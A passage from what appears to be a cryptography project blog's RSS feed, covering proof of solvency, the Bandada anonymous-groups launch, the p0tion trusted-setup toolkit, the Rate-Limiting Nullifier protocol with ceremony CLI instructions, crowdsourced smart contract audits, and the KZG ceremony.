Alternatively, the verification function can be exposed as a _view function_ in the Summa Smart Contract. In such case, the benefit would be twofold: - The code running the verification is public so everyone can audit it - There are many existing interfaces, such as Etherscan, that allow users to interact with the Smart Contract and call the function. ## Conclusion This blog post presented the detailed implementation of how an Exchange can start providing Proof of Solvency to their users as a first step towards a fully Cryptographically Constrained Exchange (CCEX). By doing so, the users of the Exchange can benefit from the privacy and performance of a Centralized Exchange (in terms of transaction settlement speed and close to zero fee), while still having cryptographic-based proof that their deposits are covered. A follow-up blog post will provide a more practical tutorial on how to leverage Summa Backend to perform the operations described before. The path toward establishing an industry-wide standard for proof of solvency requires the definition of a protocol that is agreed upon by Exchanges, Cryptographers, and Application Developers. The goal is to collaborate with Exchanges during a Beta program to bring Summa to production and, eventually, come up with a [EIP](https://github.com/summa-dev/eip-draft) to define a standard. Complete this [Google Form](https://forms.gle/uYNnHq3vjNHi5iRh9) if your Exchange (or Custodial Wallet) is interested in joining the program. ### Benchmark Notes: 1. All the benchmarks related to the round are provided considering an Exchange with 500k users performing a Proof of Solvency for 20 different cryptocurrencies. The benches are run on a MacBook Pro 2023, M2 Pro, 32GB RAM, 12 cores. All the benchmarks can be reproduced [here](https://github.com/summa-dev/summa-solvency/tree/benches-blogpost/zk_prover) running: `cd zk_prover` `cargo bench` 2. `461.08s` to build a Merkle Sum Tree from scratch. At any subsequent round, the process only requires leaf updates therefore the required time is significantly reduced. 3. `460.20s` to generate the proof of `1568` bytes. The proof costs `395579` gas units for onchain verification. 4. `3.61s` to generate the proof of `1632` bytes. The verification of the proof takes `6.36ms`. ]]> summa proof of solvency zero-knowledge proofs merkle sum tree cryptography privacy security centralized exchange proof of inclusion infrastructure/protocol <![CDATA[Bandada is live!]]> https://pse.dev/blog/bandada-is-live https://pse.dev/blog/bandada-is-live Wed, 23 Aug 2023 00:00:00 GMT <![CDATA[This post was written by the Bandada team. /n/n We are happy to announce the public release of Bandada V1! Try our [app](https://bandada.pse.dev/) out or run it yourself locally [v1.0.0-alpha](https://github.com/privacy-scaling-explorations/bandada/releases/tag/v1.0.0-alpha)]]> <![CDATA[ ## **Background** Bandada is a public infrastructure project that allows you to easily create and manage privacy-preserving groups of anonymous individuals. It is a plug-and-play, free [SaaS](https://en.wikipedia.org/wiki/Software_as_a_service) or self-hosted solution, for developers, DAOs, governments, and individuals that care about privacy. ## Anonymous Groups and Credentials Groups are an important concept when we speak about privacy and zero knowledge technologies, they can be thought of as anonymity sets. Credentials are a way to establish necessary trust between a set of participants while letting users keep control over how their identities are stored and used. Bandada allows you to create groups and establish trust within the participants by ensuring that everyone who joined the group needed to meet the credential requirements. ## Why _Bandada_? In Spanish, "Bandada" means "flock" or "group" of birds or animals moving together in a coordinated manner. 1. **Representation of Anonymous Groups:** Just like a flock of birds or animals moving together, Bandada aims to create privacy-preserving groups where individuals can act collectively without revealing their identities. 2. **Coordinated and Secure Interaction:** Birds in a flock exhibit coordinated movements for navigation, safety, or foraging. Similarly, Bandada enables coordinated and secure interactions among the members of anonymous groups. The infrastructure provided allows for seamless communication and collaboration within these groups without compromising individual identities. ## **Highlights** ### F**eatures** - Easily create onchain or offchain anonymous groups with a few clicks using our **Bandada Admin Dashboard** - Decide **how members will join,** with a unique invitation URL or by proving credentials - Select **which credentials** they will need to prove to join the group (GitHub, Twitter, etc.) - **Build your application** on top of Bandada, leveraging completely anonymous signals (like votes, endorsements, claims, messages, etc.) ### Use Cases - Group with members who have contributed to a specific GitHub repository - "Whitelist" a group of GitHub devs who have contributed to top DAOs repositories. - Group of people with more than X followers on Twitter - Custom anti-sybil mechanism - Group of people in an organization like DAO, company, etc. - Unlocking private interactions like anonymous feedback, whistleblowing, chat, and voting. - (future) Groups of wallets holding a specific NFT - Token-gated access to content ### Documentation: - **Bandada API Docs** [https://api.bandada.pse.dev](https://api.bandada.appliedzkp.org/) - **Bandada API SDK** [https://github.com/privacy-scaling-explorations/bandada/tree/main/libs/api-sdk#readme](https://github.com/privacy-scaling-explorations/bandada/tree/main/libs/api-sdk#readme) - **Bandada credentials library** [https://github.com/privacy-scaling-explorations/bandada/tree/main/libs/credentials](https://github.com/privacy-scaling-explorations/bandada/tree/main/libs/credentials) - **Install it locally** [https://github.com/privacy-scaling-explorations/bandada#-install](https://github.com/privacy-scaling-explorations/bandada#-install) - **Run it with Docke**r [https://github.com/privacy-scaling-explorations/bandada#running-in-docker](https://github.com/privacy-scaling-explorations/bandada#running-in-docker) ## How does it work? Bandada consists of a back-end to store the groups and provide the **[API](https://github.com/privacy-scaling-explorations/bandada/blob/docs/readme-files/apps/api)**, two front-ends: the **[dashboard](https://github.com/privacy-scaling-explorations/bandada/blob/docs/readme-files/apps/dashboard)** to manage groups and members and a **[demo](https://github.com/privacy-scaling-explorations/bandada/blob/docs/readme-files/apps/client)** application to allow end-users to join the groups, and the **[contracts](https://github.com/privacy-scaling-explorations/bandada/blob/docs/readme-files/apps/contracts).** Additionally, it also provides a set of JavaScript libraries to support developers. ![](/articles/bandada-is-live/YLKtfrsyR1gTNXMjHh8ec.webp) The groups are currently binary Merkle trees compatible with the [Semaphore protocol,](https://semaphore.appliedzkp.org/) but additional data structures will be integrated in the future. Two types of groups can be created from the dashboard: manual or credential groups. In the former, you can add members by entering IDs directly or by creating invite links, while in the latter you can define credentials that members must prove they have in order to access the group. Once you create your manual group in the dashboard you can either create an API key to add or remove members or use the invite codes to add members with the `@bandada/api-sdk` library. Credential groups can instead be accessed by redirecting users to an appropriate page in the dashboard. Bandada will ask users permissions to fetch their credentials and check if they are eligible. Bandada also provides a preset of credential validators that can be extended with the `@bandada/credentials` library. ## Learning Resources & Project Ideas Check [here](https://www.notion.so/Bandada-Learning-Resources-Project-Ideas-68803d6da8374a4399824e9a93995ff3?pvs=21) for new and upcoming learning resources like tutorials, videos, and additional documentation and growing project ideas to do with Bandada. Lastly, keep exploring our [Bandada Notion](https://www.notion.so/Bandada-82d0d9d3c6b64b7bb2a09d4c7647c083?pvs=21) where we'll keep it updated with the latest news. ## Bandada Moonrise Shortly after this announcement, we´re starting Bandada Moonrise, a focused effort, and campaign to showcase Bandada and gather as much feedback as possible from the community to tailor the future roadmap. If you're part of a DAO, Web3, or ZK Dev community and want us to give a presentation, please reach us out! ## **What's coming in the future?** - Onchain invitation groups - Onchain credential groups (like POAPs, NFTs, and tokens balance) - Easier deployments using Docker containers - Combining credential providers - Supporting different identity protocols - And much more! Check our [Bandada - **Features** Roadmap](https://www.notion.so/Bandada-Features-Roadmap-8f9b1cf68e2b4a48a03ce898521370c5?pvs=21) to explore more Want to share ideas? Want to help us build Bandada? Reach us by tagging us with @Bandada in [PSE Discord](https://discord.com/invite/sF5CT5rzrR) or by discussing issues in our [GitHub project board](https://github.com/orgs/privacy-scaling-explorations/projects/18/views/1). Also if you contribute to Bandada´s codebase, then you´re eligible to claim a special POAP! 🥳 Check if you´re eligible and get yours here: [https://www.gitpoap.io/eligibility](https://www.gitpoap.io/eligibility) Thanks to all contributors and Bandada supporters! In particular @cedoor, @vplasencia, @saleel, @aguzmant103, @rachelaux, @beyondr, @wanseob, @mari, @kat ]]> bandada semaphore privacy zero-knowledge proofs identity credentials security infrastructure/protocol <![CDATA[p0tion V1.0 Release]]> https://pse.dev/blog/p0tion-v10-release https://pse.dev/blog/p0tion-v10-release Tue, 08 Aug 2023 00:00:00 GMT <![CDATA[P0tion was built with love by: MACI, Trusted Setup, RLN, and Design Teams at PSE.]]> <![CDATA[ We are excited to unveil p0tion V1, a versatile and comprehensive toolkit designed to streamline Groth16 zk-application development and enable them to become production-ready.  The goal is to facilitate Phase 2 Trusted Setup ceremonies for multiple circuits simultaneously, making the entire process more efficient and scalable. ## **Motivation** The Groth16 proving system has gained popularity for its ability to produce small, fast, and cost-effective proofs. However, its lack of universality poses a challenge for production use. Each modification to a circuit necessitates a new Phase 2 Trusted Setup ceremony, adding complexity and time to the process. To address this, Groth16 zk-SNARK circuits require an MPC Trusted Setup ceremony to generate the parameters needed for zkSNARKs-based systems. Creating a protocol for these ceremonies involves considerable time and development resources, including design, auditing, testing, security measures, operational planning, guides, and more. To simplify this process and eliminate the burdens associated with MPC ceremonies, we are proud to introduce p0tion – an all-in-one toolkit that automates the setup, execution, coordination, and finalization of Phase 2 Trusted Setup ceremonies for one or more zkSNARKs circuits. [p0tion](https://github.com/privacy-scaling-explorations/p0tion), was originally built by the MACI team to conduct trusted setup ceremonies for large circuits (aka number of constraints), as in [MACI](https://github.com/privacy-scaling-explorations/maci) V1. You may think of p0tion as a toolkit to manage Trusted Setup Phase 2 ceremonies for multiple circuits simultaneously. Its aim is to democratize the process, allowing individuals and teams to easily deploy the infrastructure required to run their ceremonies. Our vision is based on four core values: - **Secure Groth16 Circuits in Production**: With p0tion, Circom developers, including the MACI team, can implement continuous delivery of secure Groth16 zkApps within an agile setting. By automating Phase 2 ceremonies, they can ensure the security and efficiency of their applications. - **Easy to Read and Use**: The documentation and code of p0tion are clear, concise, and articulate. Even newcomers to the tool can quickly grasp its functionalities and deploy a ceremony in less than one hour. - **Ready for Change**: Developers can have full confidence in the security of the ceremony tool. Moreover, they can easily fork and adapt the code to suit their own ceremony requirements, fostering flexibility and customization. - **Infrastructure as Code**: p0tion streamlines the entire process for infrastructure setup, coordination, scaling, and ceremony conduction. It provides a black-box approach to simplify the complexity of the underlying operations. ## **RLN Trusted Setup Ceremony** We are happy to announce that p0tion is being used for the RLN (Rate-Limiting Nullifier) zero-knowledge gadget that enables spam prevention. You can find more information on how to help make the protocol more secure at the end of this [blog post](https://mirror.xyz/privacy-scaling-explorations.eth/iCLmH1JVb7fDqp6Mms2NR001m2_n5OOSHsLF2QrxDnQ). ## **How it works** Running a Trusted Setup ceremony with [p0tion](https://github.com/privacy-scaling-explorations/p0tion) is a straightforward process, consisting of three main steps. To access these steps, both coordinators and participants need to authenticate with the CLI using OAuth2.0, with the current version supporting the Github Device Flow authentication mechanism, by simply running the auth command. 1. **Setup**: The coordinator initiates the ceremony by preparing it interactively or non-interactively using the setup command. This involves providing the output of the circuit compilation as input to the setup command. This command enables coordinators to configure the ceremony based on their needs by providing the data of one or more circuits, selecting timeout mechanisms (fixed/dynamic), whether to use custom ad-hoc EC2 instances for contribution verification or Cloud Functions and so on. 2. **Contribution**: During the contribution period, participants authenticate themselves and contribute to the ceremony by providing entropy (referred to as toxic waste) using the CLI via the contribute command. Participants can provide their own entropy or generate it for them. 3. **Finalization**: Once the contribution period ends, the coordinator finalizes the ceremony to extract the keys required for proof generation and verification and the Verifier (smart contract), by running the finalize command. To guarantee the flexibility and satisfaction of this workflow, the p0tion codebase (v1.x) is designed with modularity in mind, split into three distinct packages: actions, contains key features, types, and helpers forming an agnostic set of ready-to-use functions (SDK), backend for configuration and deployment of the infrastructure, utilizing Firebase Authentication and Cloud Functions, AWS S3 and EC2 instances and, phase2cli a command-line interface which serves coordinators and contributors in Trusted Setup Phase 2 ceremonies, operating with multiple commands on top of the p0tion infrastructure. Additionally, the CLI enables contributors to fully use their machine computing power, allowing contributions on a larger scale compared to ordinary web-browser clients. ## **How to get involved?** We built p0tion as zk-developers, for zk-developers. We’d like to onboard as many zk-SNARK developers as possible to run ceremonies for their circuits, but at the same time, we would love to see the community helping to make this framework even better. You could learn more about Trusted Setups ceremonies, coordinating and contributing using p0tion by visiting the [documentation and guidelines](https://p0tion.super.site/) and the [Github Repository](https://github.com/privacy-scaling-explorations/p0tion). Any feedback can be submitted to the [PSE Discord](https://discord.gg/jy3eax25) or opening a [Github Issues](https://github.com/privacy-scaling-explorations/p0tion/issues). Contributors are always welcome! If you are a zk-SNARK developer, either working as an individual or as a team, feel free to reach out to one of our team members. We will be happy to show you how to use p0tion, or potentially setup and host a trusted setup ceremony for your project. _This post was written by the MACI team._ ]]> p0tion trusted setups zero-knowledge proofs groth16 ceremony maci rln cryptography security toolkits <![CDATA[Rate-Limiting Nullifier (RLN)]]> https://pse.dev/blog/rate-limiting-nullifier-rln https://pse.dev/blog/rate-limiting-nullifier-rln Tue, 01 Aug 2023 00:00:00 GMT <![CDATA[This post was authored by [@curryrasul](https://twitter.com/curryrasul).]]> <![CDATA[ We’re pleased to announce the “production-ready” release of **[Rate-Limiting Nullifier](https://github.com/Rate-Limiting-Nullifier)** (RLN) protocol. ## **What’s RLN?** Developing zero-knowledge protocols (such as [Semaphore](https://semaphore.appliedzkp.org/)) allows us to create truly anonymous apps. But anonymous environments allow spammers to act with impunity because they are impossible to find. RLN is a zero-knowledge gadget that enables spam prevention. It is a solution to this problem. Even though spam prevention is the primary use case for RLN, it can also be used for any rate-limiting in anonymous systems (for example, limit-bid anonymous auctions, voting, etc.). ## **How does it work?** Let’s start by diving a bit into the [Semaphore](https://semaphore.appliedzkp.org/) protocol. Semaphore allows users to prove membership in a group without revealing their individual identities. The system uses zk-proofs of inclusion or “membership” in a [Merkle tree](https://en.wikipedia.org/wiki/Merkle_tree): users have to generate zk-proofs that they know some secret value that’s in the Merkle tree. If users decide to spam, we cannot just ban them by their IP or blockchain address, because they still will be able to generate proofs of inclusion, and therefore use the system. The only thing we can do is remove spammers from the “membership” Merkle tree. We need _a mechanism_ that will reveal the user’s identity if they spam, so we can remove them. But since spammers can just re-register and spam again, we also need an economic mechanism to deter them from spamming again. For that, we require users to stake some amount of money (RLN contract receives ERC-20 tokens) to register in the RLN system. It’s possible to remove yourself from the app and get back your stake by making a zk-proof of the secret, **but** if you spam, someone else will be able to withdraw your stake before you. The mechanism we need is **Shamir’s Secret Sharing (SSS)**. What’s the SSS scheme? It’s a scheme that can split a value into `N` parts and recover it using `K` parts where `K <= N`. You can learn more by reading [our explanation here](https://rate-limiting-nullifier.github.io/rln-docs/sss.html). That mechanism allows us to construct the rule: if users overuse the system and exceed the limit, their secret key can be immediately recovered by anyone and therefore they’ll lose the stake (this process is also called “slashing”). --- Now, knowing how RLN works on a high level, we can dive a bit deeper. The **RLN** protocol consists of three parts: - registration; - interaction (signaling); - removal/withdrawal (or slashing). Let’s discuss these parts in detail. ### **Registration** The first part of **RLN** is registration. To register in the system users must submit an `identityCommitment` and place it in the Merkle Tree. Users generate random secret key value _\-_ `a₀`. Identity commitment is the Poseidon hash of the secret key: `identityCommitment = Poseidon(a₀)` ### **Signaling** Now that users are registered, they can interact with the system. Imagine that the system is an _anonymous chat_ and the interaction is a sending of messages. The SSS scheme used in the RLN protocol means users implicitly “own” their polynomial, that contains their secret key in it. We use linear polynomial `f(x) = kx + b` To send a message, users need to generate a zk-proof of membership in the Merkle tree and that a _share_ = `(x,y)` from their polynomial is valid. We denote: `x = Poseidon(message)` `y = A(x)` As the first-degree polynomial is used, having two shares is enough to recover it and a secret key. It’s important to remember that anyone who has user’s secret key, can remove them from the system and take their stake. #### **Range check trick and resulting polynomial** We use first-degree polynomial for simplicity of the protocol and circuits. But limiting the system to only one message is really undesirable, because we want to have higher rate-limits. What we can do is use polynomial of higher degree, but this makes the protocol more complex. Instead, we can do a clever trick: introduce an additional circuit input: `messageId`, that will serve as a counter. Let’s say we make `messageLimit = n`. Then for each message we send, we also need an additional input `messageId`. This value will be range checked to show it is less than `messageLimit` (to be more precise: `0 ≤ messageId < messageLimit`. And our polynomial will depend on this input as well, so that for each message - different `messageId` will be used, therefore the resulting polynomials will be different. Our polynomial will be: `A(x) = a₁ ∗ x + a₀` `a₁ = Poseidon(a₀, externalNullifier, messageId)` The general anti-spam rule is in the form of: users must not make more than X interactions per epoch. The epoch can be translated as just a time interval. `externalNullifier` value is a public parameter that denotes the epoch. More formally: `externalNullifier = Poseidon(epoch, rlnIidentifier)` where `rlnIdentifier` is a random finite field value, unique per RLN app. `rlnIdentifier` value is used as a “salt” parameter. Without that salt, using the same secret key in different RLN apps with the same epoch value will lead to unintentional sharing of different points from their polynomial, which means it will be possible to recover a user’s secret key even if they did not spam. #### **Different rate-limits for different users** It also may be desired to have different rate-limits for different users, for example based on their stake amount. We can achieve that by calculating `userMessageLimit` value and then deriving `rateCommitment:` `rateCommitment = Poseidon(identityCommitment, userMessageLimit)` during the registration phase. And it’s the `rateCommitment` values that are stored in the membership Merkle tree. Therefore, in the circuit users will have to prove that the: `identityCommitment = Poseidon(identitySecret)` `rateCommitment = Poseidon(identityCommitment,userMessageLimit)` `0 ≤ messageId < userMessageLimit` We use the scheme with `userMessageLimit` as it’s more general, though it is not necessary to have different rate-limits for different users. We can enforce users to have the same rate-limit during the registration. ### **Slashing** Recall how RLN works: if a user sends more than one message, everyone else will be able to recover their secret, slash them and take their stake. Now, imagine there are a lot of users sending messages, and after each received message, we need to check if any member should be slashed. To do this, we can use all combinations of received shares and try to recover the polynomial, but this is a naive and non-optimal approach. Suppose we have a mechanism that will tell us about the connection between a person and their messages while not revealing their identity. In that case, we can solve this without brute-forcing all possibilities by making users also send the `nullifier = Poseidon(a₁)`\- so if a user sends more than one message, it will be immediately visible to everyone. Validity of `nullifier` value is also checked with zkp. Based on `nullifier` we can find the spammer and use SSS recovery, using their shares. --- The current version of RLN consists of: - [RLN circuits in circom](https://github.com/Rate-Limiting-Nullifier/circom-rln); - [registry smart-contract](https://github.com/Rate-Limiting-Nullifier/rln-contract); - dev libraries ([rlnjs](https://github.com/Rate-Limiting-Nullifier/rlnjs), [zerokit](https://github.com/vacp2p/zerokit)). The Vac team also works on RLN (especially Waku) and collaborates with us on the [CLI app](https://github.com/vacp2p/zerokit/tree/master/rln-cli) that can be used to easily work with Zerokit library and use the RLN API. Circuits were audited by **Veridise**. Their audit also included formal verification of the protocol. In addition, they were also audited during the **yAcademy fellowhship**. In general, there were no critical bugs found in the circuits. All other findings of the auditors were taken into account and fixed. --- Even though the circuits are simple and zk-proofs for RLN can be generated fast (~1s using snarkjs), in some use cases, such as validator privacy, Tor anti-spam it’s still considered slow. That’s why our team is working on newer RLN versions, such as [KZG-RLN](https://zkresear.ch/t/rln-on-kzg-polynomial-commitment-scheme-cross-posted/114), that will allow us to generate RLN proofs faster. ## **RLN trusted setup ceremony** RLN is powered by the Groth16 proof system, which requires trusted setup. We are pleased to invite you to join our **RLN trusted setup ceremony**. The ceremony includes trusted setup for the RLN circuits with different parameters (such as the depth of membership Merkle tree). The [p0tion](https://p0tion.super.site/) tool is used for the trusted setup ceremony coordination. **Instruction**: 1\. To install p0tion trusted setup tool: ``` npm install -g @p0tion/phase2cli -f ``` 2\. If you used p0tion before, then you need to logout first: ``` phase2cli logout ``` 3\. After that you need to auth with GitHub: ``` phase2cli auth ``` 4\. Finally, to join the ceremony: ``` phase2cli contribute --ceremony rln-trusted-setup-ceremony ``` or if you want to enter your entropy manually: ``` phase2cli contribute --ceremony rln-trusted-setup-ceremony --entropy <YOUR_ENTROPY> ``` To participate, you need to have at least 5 following, 1 follower and 1 public repo on GitHub. If you want to learn more on trusted setups, you may be interested in these posts: - [How do trusted setups work?](https://vitalik.ca/general/2022/03/14/trustedsetup.html) - [Learnings from the KZG Ceremony](https://mirror.xyz/privacy-scaling-explorations.eth/naTdx-u7kyirczTLSAnWwH6ZdedfTQu1yCWQj1m_n-E) ## **How to get involved?** Should you wish to get involved with RLN or report a bug, feel free to visit repositories in our [GitHub organization](https://github.com/Rate-Limiting-Nullifier) and open an issue or comment under an open issue to notify the team! You can also help us with [KZG-RLN](https://github.com/Rate-Limiting-Nullifier/kzg-rln) development. ## **Useful references** - [Documentation](https://rate-limiting-nullifier.github.io/rln-docs/); - [circom-rln](https://github.com/Rate-Limiting-Nullifier/circom-rln); - [smart-contract](https://github.com/Rate-Limiting-Nullifier/rln-contract); - [rlnjs](https://github.com/Rate-Limiting-Nullifier/rlnjs); - [GitHub organization](https://github.com/Rate-Limiting-Nullifier); - [kzg-rln](https://github.com/Rate-Limiting-Nullifier/kzg-rln); - [first proposal/idea of RLN by Barry WhiteHat](https://ethresear.ch/t/semaphore-rln-rate-limiting-nullifier-for-spam-prevention-in-anonymous-p2p-setting/5009). ]]> rln rate-limiting nullifier nullifiers zero-knowledge proofs spam protection privacy anonymity/privacy cryptography security infrastructure/protocol <![CDATA[The Power of Crowdsourcing Smart Contract Security for L2 Scaling Solutions]]> https://pse.dev/blog/the-power-of-crowdsourcing-smart-contract-security-for-l2-scaling-solutions https://pse.dev/blog/the-power-of-crowdsourcing-smart-contract-security-for-l2-scaling-solutions Tue, 18 Jul 2023 00:00:00 GMT <![CDATA[This post was authored by [@0xDatapunk](https://github.com/0xDatapunk) at [PSE Security](https://github.com/privacy-scaling-explorations/security).]]> <![CDATA[ ### Introduction Smart contract security is of paramount importance in the blockchain ecosystem. As the adoption of Layer 2 (L2) solutions increases, ensuring the security of these contracts becomes even more critical. Due to their complexity and the potential for significant value stored in L2 contracts, they become attractive targets for malicious actors. In this article, we will explore the power of crowdsourcing smart contract security and how it compares to traditional audit firms for two leading L2 scaling solutions (Optimism and zkSync). We will delve into their engagement with auditing firms and the surprising findings from crowdsourced security competitions. ### **Traditional audit firms vs crowdsourcing security** Traditional audit firms and crowdsourcing security offer different approaches to enhancing smart contract security. Traditional audit firms typically involve a select group of experts who conduct a comprehensive review of the smart contracts. They bring deep expertise and experience in identifying vulnerabilities and providing recommendations. These firms follow established methodologies and provide a sense of assurance due to their reputation and track record. On the other hand, crowdsourcing security lives by Linus’s law that “given enough eyeballs, all bugs are shallow”. By leveraging the collective intelligence of a diverse group of participants, crowdsourcing platforms, like [Sherlock](https://www.sherlock.xyz/) and [Code4rena](https://code4rena.com/), tap into a wide range of expertise and perspectives, potentially identifying vulnerabilities that may have been overlooked by traditional audits. Here are a few benefits yielded by such platforms: - Scalability. Crowdsourcing allows for a large number of people to review and test the contract simultaneously. This can make the security review process more scalable, particularly for projects that have a large number of smart contracts. In Code4rena competitions, for example, it is not uncommon to see more than 500 submits per codebase. - Efficiency and Speed. While auditing firms are often booked months into the future, crowdsourcing platforms can start a competition fairly quickly. - Cost-effectiveness. In some cases, crowdsourcing can be more cost-effective than hiring a dedicated team of security experts. This can be particularly beneficial for smaller projects or startups. - Community Engagement. Crowdsourcing the security auditing can engage the community around a project. This can lead to increased trust and participation from users and stakeholders. Both approaches have their strengths and limitations. Traditional audits provide a structured and controlled environment, while crowdsourcing offers broader insights and the ability to detect complex or novel vulnerabilities. A combination of both can provide a comprehensive and robust security assessment for smart contracts. ### **L2 Smart Contract Security** Layer 2 solutions aim to alleviate scalability issues in blockchain networks by moving a significant portion of transactions off-chain while leveraging the underlying security of the base layer. However, the complexity introduced by L2 and the potential value stored in L2 contracts make them attractive targets for hackers. [Several notable hacks involving L2 and bridges have occurred](https://github.com/0xDatapunk/Bridge-Bug-Tracker), underscoring the need for stringent security practices. Recognizing the importance of smart contract security, L2 teams conduct multiple rounds of audits before deployment. Here, we highlight the efforts put forth by Optimism and zkSync teams. ### **Optimism** #### **Engagement with Auditing Firms** To validate the security of their smart contracts, Optimism engaged in multiple rounds of auditing with renowned auditing firms specializing in blockchain security. The table below summarizes the audit results, highlighting the identification and severity of vulnerabilities discovered for Optimism’s bedrock. ![](/articles/the-power-of-crowdsourcing-smart-contract-security-for-l2-scaling-solutions/jDof9Xq_eCuydOVO37pdW.webp) #### **Sherlock competition** ##### **Unique Payout Structure Reflecting Confidence** Prior to launching the Sherlock competition, Optimism’s confidence in their security measures led them to structure the payout in a unique way. They believed that no high or medium severity bugs could be found, and thus capped the reward pool if only low-severity bugs are found. The reward structure was designed to reflect their confidence in their security measures. ![](/articles/the-power-of-crowdsourcing-smart-contract-security-for-l2-scaling-solutions/LZ5X_yZmzapEe3FDBeSBs.webp) ![](/articles/the-power-of-crowdsourcing-smart-contract-security-for-l2-scaling-solutions/BCksYcQCG4bRdMNqb-nnT.webp) ##### **Surprising Findings** Contrary to their initial expectations, the Sherlock competition yielded multiple high and medium severity bug findings. Optimism promptly addressed these vulnerabilities, showcasing their commitment to continuous improvement and security. They followed up with additional competitions to further review and enhance the security of their smart contracts. The summaries of the competition results are as follows: ![](/articles/the-power-of-crowdsourcing-smart-contract-security-for-l2-scaling-solutions/6X1TjwgCG_RAxkoPqpt9t.webp) #### **The Power of Crowdsourcing Security** The results of the Sherlock competitions demonstrate the power of crowdsourcing security. By opening the process to a diverse group of participants, Optimism was able to tap into a wide range of expertise and uncover vulnerabilities that may have otherwise gone unnoticed and been catastrophic for the Bedrock upgrade. Crowdsourcing provides a valuable mechanism for enhancing the security of smart contracts by leveraging the collective intelligence of the community. #### **Findings from Sherlock Competitions** The following links provide detailed findings from the Sherlock competitions conducted for Optimism: [January 2023 Optimism Sherlock Competition](https://github.com/sherlock-audit/2023-01-optimism-judging/issues)[March 2023 Optimism Sherlock Competition](https://github.com/sherlock-audit/2023-03-optimism-judging/issues) ### **zkSync** Similarly, zkSync engaged multiple rounds of audits with well known auditing firms: ![](/articles/the-power-of-crowdsourcing-smart-contract-security-for-l2-scaling-solutions/EwlhpcaOxZXx1HwBVSrrA.webp) However, their engagement with crowdsourcing platforms also revealed and fixed further vulnerabilities. ![](/articles/the-power-of-crowdsourcing-smart-contract-security-for-l2-scaling-solutions/dZEbDsEj5v9nEwSOjJpWL.webp) [zkSync Era System Contracts code4rena contest](https://code4rena.com/reports/2023-03-zksync)[zkSync Secure3 competitive security assessment](https://github.com/Secure3Audit/Secure3Academy/tree/main/audit_reports/zkSync)[zkSync v2 code4rena contest](https://code4rena.com/reports/2022-10-zksync)**Beyond Audits** While traditional audits and crowdsourcing security through competitions can significantly enhance smart contract security, it is not a panacea. The crowdsourced findings serve as valuable inputs, but they do not guarantee that all vulnerabilities have been identified. To align the interests of various stakeholders, including the project owners and security researchers, Sherlock provides different levels of coverage to its customers for potential exploits, while promising high APRs for its stakers ([more details here](https://docs.sherlock.xyz/coverage/staking-apy/overview)). So far, Sherlock has had two claims against its audited contracts. ![](/articles/the-power-of-crowdsourcing-smart-contract-security-for-l2-scaling-solutions/iLEqP8F_u_PWi4qxG7OtD.webp) The true security of L2 contracts, like any other complex system, remains an ongoing effort and requires a combination of rigorous audits, [proactive bug bounty programs](https://immunefi.com/bounty/optimism/), and continuous vigilance. ### **Conclusion** Smart contract security is a critical aspect of blockchain technology, especially in the context of Layer 2 solutions. L2 teams’ commitment to ensuring the security of their smart contracts is evident through their engagement with auditing firms and their participation in crowdsourced security competitions. The surprising findings from the Sherlock competitions highlight the value of crowdsourcing security, enabling the identification and remediation of vulnerabilities that contribute to a safer and more secure ecosystem. As blockchain technology continues to evolve, crowdsourcing security will remain a powerful tool in mitigating risks and building robust smart contract systems. _**The [PSE security team](https://github.com/privacy-scaling-explorations/security) works on improving the security of many different projects - both internal and external to PSE. So based on these results, the PSE security team advises projects to heavily consider both traditional audits and crowdsourced audits if possible.**_ ]]> <![CDATA[Learnings from the KZG Ceremony]]> https://pse.dev/blog/learnings-from-the-kzg-ceremony https://pse.dev/blog/learnings-from-the-kzg-ceremony Tue, 11 Jul 2023 00:00:00 GMT <![CDATA[This post was authored by [Nico](https://github.com/NicoSerranoP/), a frontend developer working in the [Privacy Stewards of Ethereum Team (PSE)](https://appliedzkp.org/). Nico summarizes the learnings and challenges he faced during the development and deployment of the [KZG Ceremony](https://ceremony.ethereum.org/).]]> <![CDATA[ ## What is the KZG Ceremony? Rollups and L2s are a way to scale Ethereum without sacrificing security and decentralization. They abstract execution to layer 2 and post resulting data to layer 1. By reducing L1 data storage costs, rollups can reduce their transaction fees considerably. Most blockchains (Ethereum included) use hashes to link transactions, blocks, and subsequent transactions. For example, to get a block hash you need to hash all its transaction information plus the previous block hash. This means that the nodes need to store the whole blockchain history in order to synchronize a valid state. If we use polynomial commitments (a nice explanation can be found [here](https://arxiv.org/abs/1906.07221)) instead of hash commitments, we could reduce the need to store data on L1. Only specific information would be stored by specific network L2 nodes. Polynomial commitments need an encrypted secret to work. If one person generates a secret and encrypts it, then that person could form invalid proofs that would satisfy the polynomial commitment (aka: create fraudulent proofs of the data posted in L1). To prevent this, we could make N participants generate their own secret and add it to the main one in a sequential order. If only one participant forgets his secret then the main secret would be secure. This process is called a ceremony and because we are going to use the KZG scheme we call it the "KZG Ceremony". ## Architecture overview We need each participant to generate a secret on their side (client side). The contribution computation has to be sequential so we need a central sequencer that would control the participants’ queue (who has the current turn, who is next, check the contribution was performed correctly, etc). Even though the sequencer is a centralized web server, the only malicious attack it could perform would be to censor you from participating. All the secret generation and the contribution computation is done on the client side. To summarize: 1. Multiple client-side programs would generate a secret and add it to the main secret on their turn. 2. A centralized sequencer that would coordinate the participants’ queue and check each contribution’s validity. 3. Client and server communication would be done through an API. The main secret file (called Structured Reference String: SRS) is a JSON with very large number values. ## Crypto-library implementation The core part of this process lays on the cryptographic functions to compute contributions and verify their validity. These functions were written in Rust by the Ethereum core devs team because of Rust’s default security properties and its portability to web browsers using WASM. This code is used in the sequencer and in some of the client implementations. We needed 3 functions: 1. `contribute(previous_SRS, secret)` returns `new_SRS`: add a randomly generated secret into the SRS (a bunch of [group multiplications](https://arxiv.org/abs/1906.07221)). 2. `contribute(previous_SRS, secret, identity)` returns `new_SRS`: performs the previous function and also signs your input identity using the secret as the secret key. This way you have linked your identity to your contribution for future recognition of your participation in this ceremony. It also helps the sequencer know who has already contributed and who hasn't. The SRS contributions have an attribute dedicated to this signature. 3. `check(previous_SRS, post_SRS)` returns `true/false`: checks that the contribution operation was performed correctly. It does not reveal the secret, but it can tell that the participant used the previous SRS as a base and did not send some random value. To improve portability, we created a wrapper repository written in Rust that uses the crypto library as a package. That way the crypto code is abstracted from the wrapper/API code being used on the client-side. It also helped us to configure the required tools to run WASM efficiently in a browser (e.g. wasm-pack, rayon, etc). - Crypto-library repository: [https://github.com/ethereum/kzg-ceremony-sequencer/tree/master/crypto](https://github.com/ethereum/kzg-ceremony-sequencer/tree/master/crypto) - Wrapper repository: 